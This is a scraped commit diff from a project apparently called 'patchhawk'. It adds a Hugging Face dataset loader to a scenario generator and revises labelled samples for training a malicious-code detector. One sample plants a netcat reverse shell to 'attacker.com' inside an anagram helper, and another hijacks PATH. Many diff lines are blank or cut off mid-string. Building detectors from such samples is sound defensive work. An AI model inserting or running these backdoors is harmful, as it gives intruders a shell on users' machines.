Spaces:
Running
Running
dataset changes
Browse files- patchhawk/data/generate_scenarios.py +162 -0
- patchhawk/data/scenarios.json +273 -328
patchhawk/data/generate_scenarios.py
CHANGED
|
@@ -355,6 +355,125 @@ def generate_track_a_scenarios_with_sdk(
|
|
| 355 |
return sdk_scenarios
|
| 356 |
|
| 357 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 358 |
# ============================================================
|
| 359 |
# CLI entry point
|
| 360 |
# ============================================================
|
|
@@ -387,6 +506,36 @@ def main():
|
|
| 387 |
default=10,
|
| 388 |
help="Number of SDK samples to generate",
|
| 389 |
)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 390 |
args = parser.parse_args()
|
| 391 |
|
| 392 |
benign_files = load_benign_files(args.benign_dir)
|
|
@@ -406,6 +555,19 @@ def main():
|
|
| 406 |
if sdk:
|
| 407 |
print(f"Added {len(sdk)} SDK-generated scenarios.")
|
| 408 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 409 |
random.shuffle(scenarios)
|
| 410 |
os.makedirs(os.path.dirname(args.output), exist_ok=True)
|
| 411 |
with open(args.output, "w") as fh:
|
|
|
|
| 355 |
return sdk_scenarios
|
| 356 |
|
| 357 |
|
| 358 |
+
# ============================================================
|
| 359 |
+
# Track HF – Hugging Face dataset loader (optional)
|
| 360 |
+
# ============================================================
|
| 361 |
+
|
| 362 |
+
|
| 363 |
+
def generate_track_hf_scenarios(
|
| 364 |
+
hf_dataset_id: str,
|
| 365 |
+
split: str = "train",
|
| 366 |
+
text_field: str = "code",
|
| 367 |
+
num_samples: int = 0,
|
| 368 |
+
only_python: bool = False,
|
| 369 |
+
) -> list:
|
| 370 |
+
"""
|
| 371 |
+
Load snippets from a Hugging Face dataset and return scenario dicts.
|
| 372 |
+
- `hf_dataset_id`: e.g. "username/repo" or a dataset id on the Hub
|
| 373 |
+
- `text_field`: field name in dataset containing the code/snippet
|
| 374 |
+
- `num_samples`: 0 => load entire split, otherwise limit
|
| 375 |
+
"""
|
| 376 |
+
hf_scenarios: list = []
|
| 377 |
+
|
| 378 |
+
try:
|
| 379 |
+
from datasets import load_dataset
|
| 380 |
+
except Exception as e:
|
| 381 |
+
print(f"⚠️ Install `datasets` (pip install datasets). Error: {e}")
|
| 382 |
+
return hf_scenarios
|
| 383 |
+
|
| 384 |
+
try:
|
| 385 |
+
# If a local path is provided, prefer local loading:
|
| 386 |
+
p = Path(hf_dataset_id)
|
| 387 |
+
if p.exists():
|
| 388 |
+
# Saved dataset directory created by `save_to_disk`
|
| 389 |
+
if p.is_dir():
|
| 390 |
+
try:
|
| 391 |
+
from datasets import load_from_disk
|
| 392 |
+
|
| 393 |
+
ds = load_from_disk(str(p))
|
| 394 |
+
except Exception:
|
| 395 |
+
# Fall back to loading as files inside the dir
|
| 396 |
+
ds = load_dataset("json", data_files=str(p / "*.jsonl"))
|
| 397 |
+
else:
|
| 398 |
+
# Single file: jsonl / json / ndjson or plain text
|
| 399 |
+
if p.suffix.lower() in (".jsonl", ".json", ".ndjson"):
|
| 400 |
+
ds = load_dataset("json", data_files=str(p))
|
| 401 |
+
else:
|
| 402 |
+
# Treat as plain text file, one example per line
|
| 403 |
+
with open(p, "r", encoding="utf-8") as fh:
|
| 404 |
+
lines = [l.rstrip("\n") for l in fh if l.strip()]
|
| 405 |
+
# create a dataset from python list
|
| 406 |
+
from datasets import Dataset
|
| 407 |
+
|
| 408 |
+
ds = Dataset.from_dict({"text": lines})
|
| 409 |
+
else:
|
| 410 |
+
ds = load_dataset(hf_dataset_id, split=split)
|
| 411 |
+
except Exception as e:
|
| 412 |
+
print(f"⚠️ Could not load HF dataset {hf_dataset_id}: {e}")
|
| 413 |
+
return hf_scenarios
|
| 414 |
+
|
| 415 |
+
# optionally limit
|
| 416 |
+
try:
|
| 417 |
+
total = len(ds)
|
| 418 |
+
except Exception:
|
| 419 |
+
total = None
|
| 420 |
+
|
| 421 |
+
if num_samples and num_samples > 0 and total:
|
| 422 |
+
num = min(num_samples, total)
|
| 423 |
+
try:
|
| 424 |
+
ds = ds.select(range(num))
|
| 425 |
+
except Exception:
|
| 426 |
+
pass
|
| 427 |
+
|
| 428 |
+
# iterate over dataset rows
|
| 429 |
+
for item in ds:
|
| 430 |
+
code = None
|
| 431 |
+
unit_test = "import code\nassert True"
|
| 432 |
+
|
| 433 |
+
if isinstance(item, dict):
|
| 434 |
+
# optional language filter
|
| 435 |
+
if only_python:
|
| 436 |
+
lang = (item.get("lang") or item.get("language") or "").lower()
|
| 437 |
+
if lang and lang != "python":
|
| 438 |
+
continue
|
| 439 |
+
|
| 440 |
+
# prefer accepted/chosen field when present (e.g., 'chosen')
|
| 441 |
+
for k in ("chosen", text_field, "code", "snippet", "text"):
|
| 442 |
+
if k in item and item[k]:
|
| 443 |
+
code = item[k]
|
| 444 |
+
break
|
| 445 |
+
|
| 446 |
+
# best-effort unit test / label / patch extraction
|
| 447 |
+
unit_test = item.get("unit_test_code", unit_test)
|
| 448 |
+
label = item.get("label") or item.get("classification") or "benign"
|
| 449 |
+
patch = item.get("patch")
|
| 450 |
+
attack_type = item.get("vulnerability") or item.get("attack_type")
|
| 451 |
+
else:
|
| 452 |
+
# plain examples (no fields)
|
| 453 |
+
code = str(item)
|
| 454 |
+
label = "benign"
|
| 455 |
+
patch = None
|
| 456 |
+
attack_type = None
|
| 457 |
+
|
| 458 |
+
if not code:
|
| 459 |
+
continue
|
| 460 |
+
|
| 461 |
+
hf_scenarios.append(
|
| 462 |
+
{
|
| 463 |
+
"id": f"hf_{uuid.uuid4().hex[:8]}",
|
| 464 |
+
"type": "true_positive" if patch or (isinstance(label, str) and label.lower() in ("malicious", "vuln", "vulnerable")) else "functional",
|
| 465 |
+
"code_snippet": code,
|
| 466 |
+
"patch": patch,
|
| 467 |
+
"unit_test_code": unit_test,
|
| 468 |
+
"label": "malicious" if (patch or (isinstance(label, str) and label.lower() in ("malicious", "vuln", "vulnerable"))) else "benign",
|
| 469 |
+
"source": "huggingface_dataset",
|
| 470 |
+
"attack_type": attack_type,
|
| 471 |
+
}
|
| 472 |
+
)
|
| 473 |
+
|
| 474 |
+
return hf_scenarios
|
| 475 |
+
|
| 476 |
+
|
| 477 |
# ============================================================
|
| 478 |
# CLI entry point
|
| 479 |
# ============================================================
|
|
|
|
| 506 |
default=10,
|
| 507 |
help="Number of SDK samples to generate",
|
| 508 |
)
|
| 509 |
+
parser.add_argument(
|
| 510 |
+
"--hf-dataset",
|
| 511 |
+
type=str,
|
| 512 |
+
default=None,
|
| 513 |
+
help="HuggingFace dataset id (e.g., username/repo) to import snippets from",
|
| 514 |
+
)
|
| 515 |
+
parser.add_argument(
|
| 516 |
+
"--hf-split",
|
| 517 |
+
type=str,
|
| 518 |
+
default="train",
|
| 519 |
+
help="Split name to load from the HF dataset",
|
| 520 |
+
)
|
| 521 |
+
parser.add_argument(
|
| 522 |
+
"--hf-field",
|
| 523 |
+
type=str,
|
| 524 |
+
default="code",
|
| 525 |
+
help="Field name in HF dataset that contains the code/snippet",
|
| 526 |
+
)
|
| 527 |
+
parser.add_argument(
|
| 528 |
+
"--hf-samples",
|
| 529 |
+
type=int,
|
| 530 |
+
default=0,
|
| 531 |
+
help="Number of HF samples to use (0 = all)",
|
| 532 |
+
)
|
| 533 |
+
parser.add_argument(
|
| 534 |
+
"--hf-only-python",
|
| 535 |
+
action="store_true",
|
| 536 |
+
default=False,
|
| 537 |
+
help="If set, only include HF examples where language/lang == python",
|
| 538 |
+
)
|
| 539 |
args = parser.parse_args()
|
| 540 |
|
| 541 |
benign_files = load_benign_files(args.benign_dir)
|
|
|
|
| 555 |
if sdk:
|
| 556 |
print(f"Added {len(sdk)} SDK-generated scenarios.")
|
| 557 |
|
| 558 |
+
# Track HF (optional)
|
| 559 |
+
if getattr(args, "hf_dataset", None):
|
| 560 |
+
hf = generate_track_hf_scenarios(
|
| 561 |
+
args.hf_dataset,
|
| 562 |
+
args.hf_split,
|
| 563 |
+
args.hf_field,
|
| 564 |
+
args.hf_samples,
|
| 565 |
+
args.hf_only_python,
|
| 566 |
+
)
|
| 567 |
+
scenarios.extend(hf)
|
| 568 |
+
if hf:
|
| 569 |
+
print(f"Added {len(hf)} HuggingFace scenarios.")
|
| 570 |
+
|
| 571 |
random.shuffle(scenarios)
|
| 572 |
os.makedirs(os.path.dirname(args.output), exist_ok=True)
|
| 573 |
with open(args.output, "w") as fh:
|
patchhawk/data/scenarios.json
CHANGED
|
@@ -1,607 +1,552 @@
|
|
| 1 |
[
|
| 2 |
{
|
| 3 |
-
"id": "
|
| 4 |
"type": "true_positive",
|
| 5 |
-
"code_snippet": "import
|
| 6 |
-
"patch": "def
|
| 7 |
-
"unit_test_code": "import code\nassert
|
| 8 |
"label": "malicious",
|
| 9 |
"source": "mutation_engine",
|
| 10 |
-
"attack_type": "
|
| 11 |
-
"task_id": "hard_patch"
|
| 12 |
},
|
| 13 |
{
|
| 14 |
-
"id": "
|
| 15 |
-
"type": "
|
| 16 |
-
"code_snippet": "
|
| 17 |
-
"patch":
|
| 18 |
-
"unit_test_code": "import code\nassert
|
| 19 |
-
"label": "
|
| 20 |
-
"source": "mutation_engine",
|
| 21 |
-
"attack_type": null,
|
| 22 |
-
"task_id": null
|
| 23 |
-
},
|
| 24 |
-
{
|
| 25 |
-
"id": "fp_d446104c",
|
| 26 |
-
"type": "false_positive",
|
| 27 |
-
"code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params",
|
| 28 |
-
"patch": null,
|
| 29 |
-
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 30 |
-
"label": "benign",
|
| 31 |
"source": "mutation_engine",
|
| 32 |
-
"attack_type":
|
| 33 |
-
"task_id": null
|
| 34 |
},
|
| 35 |
{
|
| 36 |
-
"id": "
|
| 37 |
"type": "functional",
|
| 38 |
-
"code_snippet": "def
|
| 39 |
"patch": null,
|
| 40 |
-
"unit_test_code": "import code\nassert
|
| 41 |
"label": "benign",
|
| 42 |
"source": "mutation_engine",
|
| 43 |
-
"attack_type": null
|
| 44 |
-
"task_id": null
|
| 45 |
},
|
| 46 |
{
|
| 47 |
-
"id": "
|
| 48 |
"type": "true_positive",
|
| 49 |
-
"code_snippet": "
|
| 50 |
-
"patch": "
|
| 51 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 52 |
"label": "malicious",
|
| 53 |
"source": "mutation_engine",
|
| 54 |
-
"attack_type": "
|
| 55 |
-
"task_id": "hard_patch"
|
| 56 |
},
|
| 57 |
{
|
| 58 |
-
"id": "
|
| 59 |
"type": "true_positive",
|
| 60 |
-
"code_snippet": "import
|
| 61 |
-
"patch": "
|
| 62 |
-
"unit_test_code": "import code\nassert
|
| 63 |
"label": "malicious",
|
| 64 |
"source": "mutation_engine",
|
| 65 |
-
"attack_type": "
|
| 66 |
-
"task_id": "easy_typosquat"
|
| 67 |
},
|
| 68 |
{
|
| 69 |
-
"id": "
|
| 70 |
-
"type": "
|
| 71 |
-
"code_snippet": "
|
| 72 |
-
"patch":
|
| 73 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 74 |
-
"label": "
|
| 75 |
"source": "mutation_engine",
|
| 76 |
-
"attack_type":
|
| 77 |
-
"task_id": "hard_patch"
|
| 78 |
},
|
| 79 |
{
|
| 80 |
-
"id": "
|
| 81 |
-
"type": "
|
| 82 |
-
"code_snippet": "
|
| 83 |
"patch": null,
|
| 84 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 85 |
"label": "benign",
|
| 86 |
"source": "mutation_engine",
|
| 87 |
-
"attack_type": null
|
| 88 |
-
"task_id": null
|
| 89 |
},
|
| 90 |
{
|
| 91 |
-
"id": "
|
| 92 |
"type": "true_positive",
|
| 93 |
-
"code_snippet": "import
|
| 94 |
-
"patch": "def
|
| 95 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 96 |
"label": "malicious",
|
| 97 |
"source": "mutation_engine",
|
| 98 |
-
"attack_type": "
|
| 99 |
-
"task_id": "medium_obfuscated"
|
| 100 |
},
|
| 101 |
{
|
| 102 |
-
"id": "
|
| 103 |
"type": "true_positive",
|
| 104 |
-
"code_snippet": "
|
| 105 |
-
"patch": "
|
| 106 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 107 |
"label": "malicious",
|
| 108 |
"source": "mutation_engine",
|
| 109 |
-
"attack_type": "
|
| 110 |
-
"task_id": "medium_obfuscated"
|
| 111 |
},
|
| 112 |
{
|
| 113 |
-
"id": "
|
| 114 |
-
"type": "
|
| 115 |
-
"code_snippet": "
|
| 116 |
-
"patch":
|
| 117 |
-
"unit_test_code": "import code\nassert
|
| 118 |
-
"label": "
|
| 119 |
"source": "mutation_engine",
|
| 120 |
-
"attack_type":
|
| 121 |
-
"task_id": null
|
| 122 |
},
|
| 123 |
{
|
| 124 |
-
"id": "
|
| 125 |
"type": "true_positive",
|
| 126 |
-
"code_snippet": "
|
| 127 |
-
"patch": "def
|
| 128 |
-
"unit_test_code": "import code\nassert
|
| 129 |
"label": "malicious",
|
| 130 |
"source": "mutation_engine",
|
| 131 |
-
"attack_type": "
|
| 132 |
-
"task_id": "easy_typosquat"
|
| 133 |
},
|
| 134 |
{
|
| 135 |
-
"id": "
|
| 136 |
"type": "functional",
|
| 137 |
-
"code_snippet": "def
|
| 138 |
"patch": null,
|
| 139 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 140 |
"label": "benign",
|
| 141 |
"source": "mutation_engine",
|
| 142 |
-
"attack_type": null
|
| 143 |
-
"task_id": null
|
| 144 |
},
|
| 145 |
{
|
| 146 |
-
"id": "
|
| 147 |
"type": "true_positive",
|
| 148 |
-
"code_snippet": "
|
| 149 |
-
"patch": "def
|
| 150 |
-
"unit_test_code": "import code\nassert code.
|
| 151 |
"label": "malicious",
|
| 152 |
"source": "mutation_engine",
|
| 153 |
-
"attack_type": "
|
| 154 |
-
"task_id": "medium_obfuscated"
|
| 155 |
},
|
| 156 |
{
|
| 157 |
-
"id": "
|
| 158 |
"type": "functional",
|
| 159 |
-
"code_snippet": "class
|
| 160 |
"patch": null,
|
| 161 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 162 |
"label": "benign",
|
| 163 |
"source": "mutation_engine",
|
| 164 |
-
"attack_type": null
|
| 165 |
-
"task_id": null
|
| 166 |
},
|
| 167 |
{
|
| 168 |
-
"id": "
|
| 169 |
-
"type": "true_positive",
|
| 170 |
-
"code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"",
|
| 171 |
-
"patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"",
|
| 172 |
-
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 173 |
-
"label": "malicious",
|
| 174 |
-
"source": "mutation_engine",
|
| 175 |
-
"attack_type": "env_hijack",
|
| 176 |
-
"task_id": "hard_patch"
|
| 177 |
-
},
|
| 178 |
-
{
|
| 179 |
-
"id": "tp_f8a418b3",
|
| 180 |
-
"type": "true_positive",
|
| 181 |
-
"code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())",
|
| 182 |
-
"patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())",
|
| 183 |
-
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 184 |
-
"label": "malicious",
|
| 185 |
-
"source": "mutation_engine",
|
| 186 |
-
"attack_type": "subprocess_backdoor",
|
| 187 |
-
"task_id": "hard_patch"
|
| 188 |
-
},
|
| 189 |
-
{
|
| 190 |
-
"id": "tp_f11f8bcc",
|
| 191 |
-
"type": "true_positive",
|
| 192 |
-
"code_snippet": "import pythonn\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params",
|
| 193 |
-
"patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params",
|
| 194 |
-
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 195 |
-
"label": "malicious",
|
| 196 |
-
"source": "mutation_engine",
|
| 197 |
-
"attack_type": "typosquatting",
|
| 198 |
-
"task_id": "easy_typosquat"
|
| 199 |
-
},
|
| 200 |
-
{
|
| 201 |
-
"id": "fp_ca0c1700",
|
| 202 |
"type": "false_positive",
|
| 203 |
-
"code_snippet": "import
|
| 204 |
"patch": null,
|
| 205 |
"unit_test_code": "import code\nassert code.factorial(5) == 120\n",
|
| 206 |
"label": "benign",
|
| 207 |
"source": "mutation_engine",
|
| 208 |
-
"attack_type": null
|
| 209 |
-
"task_id": null
|
| 210 |
},
|
| 211 |
{
|
| 212 |
-
"id": "
|
| 213 |
"type": "functional",
|
| 214 |
-
"code_snippet": "def
|
| 215 |
-
"patch": null,
|
| 216 |
-
"unit_test_code": "import code\nassert code.factorial(5) == 120\n",
|
| 217 |
-
"label": "benign",
|
| 218 |
-
"source": "mutation_engine",
|
| 219 |
-
"attack_type": null,
|
| 220 |
-
"task_id": null
|
| 221 |
-
},
|
| 222 |
-
{
|
| 223 |
-
"id": "fp_bf58ca12",
|
| 224 |
-
"type": "false_positive",
|
| 225 |
-
"code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"",
|
| 226 |
"patch": null,
|
| 227 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 228 |
"label": "benign",
|
| 229 |
"source": "mutation_engine",
|
| 230 |
-
"attack_type": null
|
| 231 |
-
"task_id": null
|
| 232 |
},
|
| 233 |
{
|
| 234 |
-
"id": "
|
| 235 |
"type": "false_positive",
|
| 236 |
-
"code_snippet": "
|
| 237 |
-
"patch": null,
|
| 238 |
-
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 239 |
-
"label": "benign",
|
| 240 |
-
"source": "mutation_engine",
|
| 241 |
-
"attack_type": null,
|
| 242 |
-
"task_id": null
|
| 243 |
-
},
|
| 244 |
-
{
|
| 245 |
-
"id": "fn_21f46d28",
|
| 246 |
-
"type": "functional",
|
| 247 |
-
"code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config",
|
| 248 |
"patch": null,
|
| 249 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 250 |
"label": "benign",
|
| 251 |
"source": "mutation_engine",
|
| 252 |
-
"attack_type": null
|
| 253 |
-
"task_id": null
|
| 254 |
},
|
| 255 |
{
|
| 256 |
-
"id": "
|
| 257 |
"type": "true_positive",
|
| 258 |
-
"code_snippet": "
|
| 259 |
-
"patch": "def
|
| 260 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 261 |
"label": "malicious",
|
| 262 |
"source": "mutation_engine",
|
| 263 |
-
"attack_type": "
|
| 264 |
-
"task_id": "medium_obfuscated"
|
| 265 |
},
|
| 266 |
{
|
| 267 |
-
"id": "
|
| 268 |
"type": "false_positive",
|
| 269 |
-
"code_snippet": "
|
| 270 |
"patch": null,
|
| 271 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 272 |
"label": "benign",
|
| 273 |
"source": "mutation_engine",
|
| 274 |
-
"attack_type": null
|
| 275 |
-
"task_id": null
|
| 276 |
},
|
| 277 |
{
|
| 278 |
-
"id": "
|
| 279 |
-
"type": "
|
| 280 |
-
"code_snippet": "import
|
| 281 |
-
"patch":
|
| 282 |
-
"unit_test_code": "import code\nassert
|
| 283 |
-
"label": "
|
| 284 |
"source": "mutation_engine",
|
| 285 |
-
"attack_type":
|
| 286 |
-
"task_id": "hard_patch"
|
| 287 |
},
|
| 288 |
{
|
| 289 |
-
"id": "
|
| 290 |
"type": "true_positive",
|
| 291 |
-
"code_snippet": "
|
| 292 |
-
"patch": "def
|
| 293 |
-
"unit_test_code": "import code\nassert
|
| 294 |
"label": "malicious",
|
| 295 |
"source": "mutation_engine",
|
| 296 |
-
"attack_type": "
|
| 297 |
-
"task_id": "hard_patch"
|
| 298 |
},
|
| 299 |
{
|
| 300 |
-
"id": "
|
| 301 |
"type": "functional",
|
| 302 |
-
"code_snippet": "def
|
| 303 |
"patch": null,
|
| 304 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 305 |
"label": "benign",
|
| 306 |
"source": "mutation_engine",
|
| 307 |
-
"attack_type": null
|
| 308 |
-
"task_id": null
|
| 309 |
},
|
| 310 |
{
|
| 311 |
-
"id": "
|
| 312 |
-
"type": "
|
| 313 |
-
"code_snippet": "
|
| 314 |
-
"patch":
|
| 315 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 316 |
-
"label": "
|
| 317 |
"source": "mutation_engine",
|
| 318 |
-
"attack_type":
|
| 319 |
-
"task_id": "easy_typosquat"
|
| 320 |
},
|
| 321 |
{
|
| 322 |
-
"id": "
|
| 323 |
-
"type": "
|
| 324 |
-
"code_snippet": "
|
| 325 |
"patch": null,
|
| 326 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 327 |
"label": "benign",
|
| 328 |
"source": "mutation_engine",
|
| 329 |
-
"attack_type": null
|
| 330 |
-
"task_id": null
|
| 331 |
},
|
| 332 |
{
|
| 333 |
-
"id": "
|
| 334 |
-
"type": "
|
| 335 |
-
"code_snippet": "def
|
| 336 |
-
"patch":
|
| 337 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 338 |
-
"label": "
|
| 339 |
"source": "mutation_engine",
|
| 340 |
-
"attack_type":
|
| 341 |
-
"task_id": "medium_obfuscated"
|
| 342 |
},
|
| 343 |
{
|
| 344 |
-
"id": "
|
| 345 |
-
"type": "
|
| 346 |
-
"code_snippet": "import
|
| 347 |
-
"patch":
|
| 348 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 349 |
-
"label": "
|
| 350 |
"source": "mutation_engine",
|
| 351 |
-
"attack_type":
|
| 352 |
-
"task_id": "hard_patch"
|
| 353 |
},
|
| 354 |
{
|
| 355 |
-
"id": "
|
| 356 |
-
"type": "
|
| 357 |
-
"code_snippet": "
|
| 358 |
"patch": null,
|
| 359 |
-
"unit_test_code": "import code\nassert
|
| 360 |
"label": "benign",
|
| 361 |
"source": "mutation_engine",
|
| 362 |
-
"attack_type": null
|
| 363 |
-
"task_id": null
|
| 364 |
},
|
| 365 |
{
|
| 366 |
-
"id": "
|
| 367 |
"type": "false_positive",
|
| 368 |
-
"code_snippet": "import
|
| 369 |
"patch": null,
|
| 370 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 371 |
"label": "benign",
|
| 372 |
"source": "mutation_engine",
|
| 373 |
-
"attack_type": null
|
| 374 |
-
"task_id": null
|
| 375 |
},
|
| 376 |
{
|
| 377 |
-
"id": "
|
| 378 |
-
"type": "
|
| 379 |
-
"code_snippet": "
|
| 380 |
"patch": null,
|
| 381 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 382 |
"label": "benign",
|
| 383 |
"source": "mutation_engine",
|
| 384 |
-
"attack_type": null
|
| 385 |
-
"task_id": null
|
| 386 |
},
|
| 387 |
{
|
| 388 |
-
"id": "
|
| 389 |
"type": "false_positive",
|
| 390 |
-
"code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef
|
| 391 |
"patch": null,
|
| 392 |
-
"unit_test_code": "import code\nassert
|
| 393 |
"label": "benign",
|
| 394 |
"source": "mutation_engine",
|
| 395 |
-
"attack_type": null
|
| 396 |
-
"task_id": null
|
| 397 |
},
|
| 398 |
{
|
| 399 |
-
"id": "
|
| 400 |
"type": "false_positive",
|
| 401 |
-
"code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\
|
| 402 |
"patch": null,
|
| 403 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 404 |
"label": "benign",
|
| 405 |
"source": "mutation_engine",
|
| 406 |
-
"attack_type": null
|
| 407 |
-
"task_id": null
|
| 408 |
},
|
| 409 |
{
|
| 410 |
-
"id": "
|
| 411 |
"type": "true_positive",
|
| 412 |
-
"code_snippet": "
|
| 413 |
-
"patch": "def
|
| 414 |
-
"unit_test_code": "import code\nassert
|
| 415 |
"label": "malicious",
|
| 416 |
"source": "mutation_engine",
|
| 417 |
-
"attack_type": "
|
| 418 |
-
"task_id": "easy_typosquat"
|
| 419 |
},
|
| 420 |
{
|
| 421 |
-
"id": "
|
| 422 |
"type": "true_positive",
|
| 423 |
-
"code_snippet": "import
|
| 424 |
-
"patch": "def
|
| 425 |
-
"unit_test_code": "import code\nassert code.
|
| 426 |
"label": "malicious",
|
| 427 |
"source": "mutation_engine",
|
| 428 |
-
"attack_type": "
|
| 429 |
-
"task_id": "easy_typosquat"
|
| 430 |
},
|
| 431 |
{
|
| 432 |
-
"id": "
|
| 433 |
-
"type": "
|
| 434 |
-
"code_snippet": "def
|
| 435 |
-
"patch":
|
| 436 |
-
"unit_test_code": "import code\nassert
|
| 437 |
-
"label": "
|
| 438 |
"source": "mutation_engine",
|
| 439 |
-
"attack_type":
|
| 440 |
-
"task_id": null
|
| 441 |
},
|
| 442 |
{
|
| 443 |
-
"id": "
|
| 444 |
"type": "true_positive",
|
| 445 |
-
"code_snippet": "import
|
| 446 |
-
"patch": "def
|
| 447 |
-
"unit_test_code": "import code\nassert
|
| 448 |
"label": "malicious",
|
| 449 |
"source": "mutation_engine",
|
| 450 |
-
"attack_type": "
|
| 451 |
-
"task_id": "hard_patch"
|
| 452 |
},
|
| 453 |
{
|
| 454 |
-
"id": "
|
| 455 |
"type": "false_positive",
|
| 456 |
-
"code_snippet": "import
|
| 457 |
"patch": null,
|
| 458 |
-
"unit_test_code": "import code\nassert code.
|
| 459 |
"label": "benign",
|
| 460 |
"source": "mutation_engine",
|
| 461 |
-
"attack_type": null
|
| 462 |
-
"task_id": null
|
| 463 |
},
|
| 464 |
{
|
| 465 |
-
"id": "
|
| 466 |
-
"type": "
|
| 467 |
-
"code_snippet": "
|
| 468 |
"patch": null,
|
| 469 |
"unit_test_code": "import code\nassert True # module loaded successfully\n",
|
| 470 |
"label": "benign",
|
| 471 |
"source": "mutation_engine",
|
| 472 |
-
"attack_type": null
|
| 473 |
-
"task_id": null
|
| 474 |
},
|
| 475 |
{
|
| 476 |
-
"id": "
|
| 477 |
"type": "true_positive",
